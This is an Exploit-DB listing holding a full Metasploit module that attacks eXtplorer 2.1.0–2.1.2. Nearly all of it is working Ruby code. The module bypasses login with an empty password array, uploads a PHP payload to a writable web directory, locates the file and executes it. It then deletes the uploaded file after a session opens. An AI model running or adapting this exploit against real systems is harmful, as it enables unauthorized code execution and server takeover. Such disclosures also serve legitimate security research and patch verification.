eXtplorer 2.1 - Arbitrary File Upload (Metasploit)

EDB-ID:

24018

CVE:





Platform:

PHP

Date:

2013-01-10


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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "eXtplorer v2.1 Arbitrary File Upload Vulnerability",
			'Description'    => %q{
				This module exploits an authentication bypass vulnerability in eXtplorer
				versions 2.1.0 to 2.1.2 and 2.1.0RC5 when run as a standalone application.
				This application has an upload feature that allows an authenticated user
				with administrator roles to upload arbitrary files to any writable
				directory in the web root. This module uses an authentication bypass
				vulnerability to upload and execute a file.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
				],
			'References'     =>
				[
					[ 'OSVDB', '88751' ],
					[ 'BID', '57058' ],
					[ 'URL', 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability' ],
					[ 'URL', 'http://extplorer.net/issues/105' ]
				],
			'Payload'        =>
				{
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					['Automatic Targeting', { 'auto' => true }]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Dec 31 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The path to the web application', '/com_extplorer_2.1.0/']),
				OptString.new('USERNAME',  [true, 'The username for eXtplorer', 'admin'])
			], self.class)
	end

	def check

		base  = target_uri.path
		base << '/' if base[-1, 1] != '/'
		peer  = "#{rhost}:#{rport}"

		# retrieve software version from ./extplorer.xml
		begin
			res = send_request_cgi({
				'method' => 'GET',
				'uri'    => "#{base}extplorer.xml"
			})

			if !res or res.code != 200
				return Exploit::CheckCode::Safe
			end

			if res.body =~ /<version>2\.1\.(0RC\d|0|1|2)<\/version>/
				return Exploit::CheckCode::Vulnerable
			end

			if res.body =~ /eXtplorer/
				return Exploit::CheckCode::Safe
			end

		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{peer} - Connection failed")
		end
		return Exploit::CheckCode::Unknown

	end

	def on_new_session(client)
		if client.type == "meterpreter"
			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
			client.fs.file.rm("#{@fname}")
		else
			client.shell_command_token("rm #{@fname}")
		end
	end

	def upload(base, dir, fname, file)

		data = Rex::MIME::Message.new
		data.add_part(file, 'application/x-httpd-php', nil, "form-data; name=\"userfile[0]\"; filename=\"#{fname}\"")
		data.add_part("on", nil, nil, "form-data; name=\"overwrite_files\"")
		data.add_part("%2f#{dir}", nil, nil, "form-data; name=\"dir\"")
		data.add_part("com_extplorer", nil, nil, "form-data; name=\"option\"")
		data.add_part("upload", nil, nil, "form-data; name=\"action\"")
		data.add_part("xmlhttprequest", nil, nil, "form-data; name=\"requestType\"")
		data.add_part("true", nil, nil, "form-data; name=\"confirm\"")

		data_post = data.to_s
		data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

		res = send_request_cgi({
			'method'  => 'POST',
			'uri'     => "#{base}index.php",
			'ctype'   => "multipart/form-data; boundary=#{data.bound}",
			'data'    => data_post,
			'cookie'  => datastore['COOKIE'],
		})

		return res
	end

	def auth_bypass(base, user)

		res   = send_request_cgi({
			'method' => 'POST',
			'uri'    => "#{base}index.php",
			'data'   => "option=com_extplorer&action=login&type=extplorer&username=#{user}&password[]=",
			'cookie' => datastore['COOKIE'],
		})
		return res

	end

	def exploit

		base  = target_uri.path
		base << '/' if base[-1, 1] != '/'
		@peer = "#{rhost}:#{rport}"
		@fname= rand_text_alphanumeric(rand(10)+6) + '.php'
		user  = datastore['USERNAME']
		datastore['COOKIE'] = "eXtplorer="+rand_text_alpha_lower(26)+";"

		# bypass auth
		print_status("#{@peer} - Authenticating as user (#{user})")
		res   = auth_bypass(base, user)
		if res and res.code == 200 and res.body =~ /Are you sure you want to delete these/
			print_status("#{@peer} - Authenticated successfully")
		else
			fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
		end

		# search for writable directories
		print_status("#{@peer} - Retrieving writable subdirectories")
		begin
			res = send_request_cgi({
				'method'  => 'POST',
				'uri'     => "#{base}index.php",
				'cookie'  => datastore['COOKIE'],
				'data'    => "option=com_extplorer&action=getdircontents&dir=#{base}&sendWhat=dirs&node=ext_root",
			})
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
		end
		if res and res.code == 200 and res.body =~ /\{'text':'([^']+)'[^\}]+'is_writable':true/
			dir = "#{base}#{$1}"
			print_status("#{@peer} - Successfully retrieved writable subdirectory (#{$1})")
		else
			dir = "#{base}"
			print_error("#{@peer} - Could not find a writable subdirectory.")
		end

		# upload PHP payload
		print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes) to #{dir}")
		php = %Q|<?php #{payload.encoded} ?>|
		begin
			res = upload(base, dir, @fname, php)
			if res and res.code == 200 and res.body =~ /'message':'Upload successful\!'/
				print_good("#{@peer} - File uploaded successfully")
			else
				fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
			end
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
		end

		# search directories in the web root for the file
		print_status("#{@peer} - Searching directories for file (#{@fname})")
		begin
			res   = send_request_cgi({
				'method' => 'POST',
				'uri'    => "#{base}index.php",
				'data'   => "start=0&limit=10&option=com_extplorer&action=search&dir=#{base}&content=0&subdir=1&searchitem=#{@fname}",
				'cookie' => datastore['COOKIE'],
			})
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
		end
		if res and res.code == 200 and res.body =~ /'dir':'\\\/([^']+)'/
			dir = $1.gsub('\\','')
			print_good("#{@peer} - Successfully found file")
		else
			print_error("#{@peer} - Failed to find file")
		end

		# retrieve and execute PHP payload
		print_status("#{@peer} - Executing payload (/#{dir}/#{@fname})")
		begin
			send_request_cgi({
				'method' => 'GET',
				'uri'    => "/#{dir}/#{@fname}"
			})
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
		end
		if res and res.code != 200
			print_error("#{@peer} - Executing payload failed")
		end
	end
end